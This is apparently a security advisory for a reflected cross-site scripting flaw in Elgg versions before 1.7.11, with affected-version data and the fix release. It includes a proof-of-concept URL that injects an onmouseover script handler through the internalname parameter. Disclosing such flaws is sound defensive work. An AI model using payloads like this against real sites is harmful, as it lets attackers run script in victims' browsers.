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cve.new
GHSA-mcfm-j5g6-w26fmedium6.1

Elgg Reflected XSS Vulnerability

Check your stack

The advisory, in context

VULNERABILITY DESCRIPTION

The internalname parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser

PROOF-OF-CONCEPT/EXPLOIT

http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

elgg/elgg Packagist
Ecosystem versions

Earlier releases before 1.7.11

Fixed in 1.7.11

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "1.7.11"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": []
}

References